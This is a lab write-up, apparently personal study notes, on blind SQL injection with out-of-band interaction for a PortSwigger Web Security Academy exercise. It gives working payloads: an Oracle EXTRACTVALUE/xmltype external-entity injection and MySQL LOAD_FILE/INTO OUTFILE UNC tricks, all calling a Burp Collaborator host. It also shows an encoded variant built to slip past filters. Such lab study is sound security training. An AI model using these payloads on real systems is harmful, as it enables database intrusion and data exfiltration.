> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/sql-injection/blind-sql-injection-with-oob-interaction.md).

# Blind SQL Injection with Out-of-Band Interaction

Blind SQL Injection with Out-of-Band Interaction notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Blind SQL Injection with Out-of-band Interaction

**Short context:** the value of the `TrackingId` cookie (or other parameter) is injected into an asynchronous SQL query. The HTTP response does not reveal anything, but it is possible to cause external interaction (DNS/HTTP) to a Burp Collaborator/OAST service, which allows to exfilter or confirm execution of a payload.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c407607f7ab3b147f62cd9d290131759cf865ed%2F%7B3D22500E-DCC2-48EB-B6B0-08E588C47033%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Techniques and Vectors

#### Oracle — XML External Entity (XXE) via `EXTRACTVALUE` / `xmltype`

* Principle: build an XML document containing an external entity pointing to your Collaborator subdomain. The call to `EXTRACTVALUE(xmltype(...), '/l')` evaluates the DTD and causes the outgoing HTTP/DNS request to the controlled domain:

```sql
' UNION SELECT EXTRACTVALUE(
    xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLAB-SUBDOMAIN/"> %remote;]>'),
    '/l') FROM dual-- -
```

* Remarks: Some characters must be encoded/escaped according to context (quotes, `%` in DTD, etc.). In some cases, URL-encode parts of the payload.

#### MySQL — Network Files via `LOAD_FILE` / `SELECT... INTO OUTFILE`

* `LOAD_FILE('//BURP-COLLAB-SUBDOMAIN/a')` can cause an outgoing SMB/DNS query on environments that allow network access to the file server or resolve UNC paths.
* `SELECT... INTO OUTFILE '//BURP-COLLAB-SUBDOMAIN/a'` writes a file on a network sharing, often causing observable network interaction on the Collaborator side.
* Note: these techniques are highly dependent on configuration (DB account privileges, server options, outgoing network access).

#### Practical Notes

* For Burp Collaborator / OAST, use the subdomain provided (e.g. `abcd.oastify.com`) in the URL/path of the entity or UNC path.
* Some servers truncate/filter the payloads: test different variations in encoding (URL-encode, `%` escape → `%25`, comment variations, etc.).
* When the Collaborator request arrives, you have proof of OOB execution (DNS/HTTP/SMB), which confirms the vulnerability.

#### Example — Variant with Encoding (note: You Have Already Tested and Received the Request)

* Encoded example (you have presented):

  ```sql
  ' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY %25 remote SYSTEM "http://vwvitjrnb8um4dlf2x9blfuy3p9gxbl0.oastify.com"> %25remote%3b]>'),'/l') FROM dual-- -
  ```

→ `%` encoding → `%25` and `;` → `%3b` to bypass certain filters/parsings.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8b10b8af56f79ac386649aa8cc0d19b678fe96a%2F%7B37815FA9-3A15-4291-96D9-8DD2B861396A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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